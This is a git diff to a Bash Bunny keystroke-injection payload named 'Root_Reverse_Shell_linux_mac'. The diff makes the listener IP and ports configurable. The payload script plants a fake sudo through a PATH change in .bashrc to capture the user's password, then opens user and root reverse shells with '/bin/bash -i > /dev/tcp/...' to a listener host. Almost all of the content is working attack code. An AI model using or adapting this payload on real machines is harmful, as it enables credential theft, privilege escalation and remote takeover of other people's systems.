diff --git a/payloads/library/remote_access/Root_Reverse_Shell_linux_mac/payload.sh b/payloads/library/remote_access/Root_Reverse_Shell_linux_mac/payload.sh index 60895f5a..314a0bf9 100644 --- a/payloads/library/remote_access/Root_Reverse_Shell_linux_mac/payload.sh +++ b/payloads/library/remote_access/Root_Reverse_Shell_linux_mac/payload.sh @@ -1,5 +1,9 @@ #!/bin/bash +LISTENER_IP="127.0.0.1" +LISTENER1_PORT="1337" #Listener for user shell +LISTENER2_PORT="9001" #Listener for root shell + if [ ! -d ~/.config/sudo ] then mkdir -p ~/.config/sudo @@ -37,7 +41,7 @@ else mv ~/.bashrc.bak ~/.bashrc fi rm ~/.config/sudo/sudo - echo "$pwd" | sudo -S disown !$ $(sudo /bin/bash -i > /dev/tcp/192.168.0.118/1337 0<&1 2>&1) & + echo "$pwd" | sudo -S disown !$ $(sudo /bin/bash -i > /dev/tcp/$LISTENER_IP/$LISTENER1_PORT 0<&1 2>&1) & fi fi EOF @@ -51,5 +55,5 @@ else cp ~/.bashrc ~/.bashrc.bak echo "export PATH=~/.config/sudo:$PATH" >> ~/.bashrc fi -disown !$ $(/bin/bash -i > /dev/tcp/192.168.0.118/4444 0<&1 2>&1) & +disown !$ $(/bin/bash -i > /dev/tcp/$LISTENER_IP/$LISTENER2_PORT 0<&1 2>&1) & bash diff --git a/payloads/library/remote_access/Root_Reverse_Shell_linux_mac/payload.txt b/payloads/library/remote_access/Root_Reverse_Shell_linux_mac/payload.txt index 9a06e38d..76a949dd 100644 --- a/payloads/library/remote_access/Root_Reverse_Shell_linux_mac/payload.txt +++ b/payloads/library/remote_access/Root_Reverse_Shell_linux_mac/payload.txt @@ -36,7 +36,8 @@ Q DELAY 1000 Q CTRL C # Executing bash script which is same for mac and linux -Q STRING bash /Volumes/BashBunny/payloads/switch1/payload.sh +GET SWITCH_POSITION +Q STRING bash /Volumes/BashBunny/payloads/$SWITCH_POSITION/payload.sh # The cleanup process will done by bash script # Closing the xterm in linux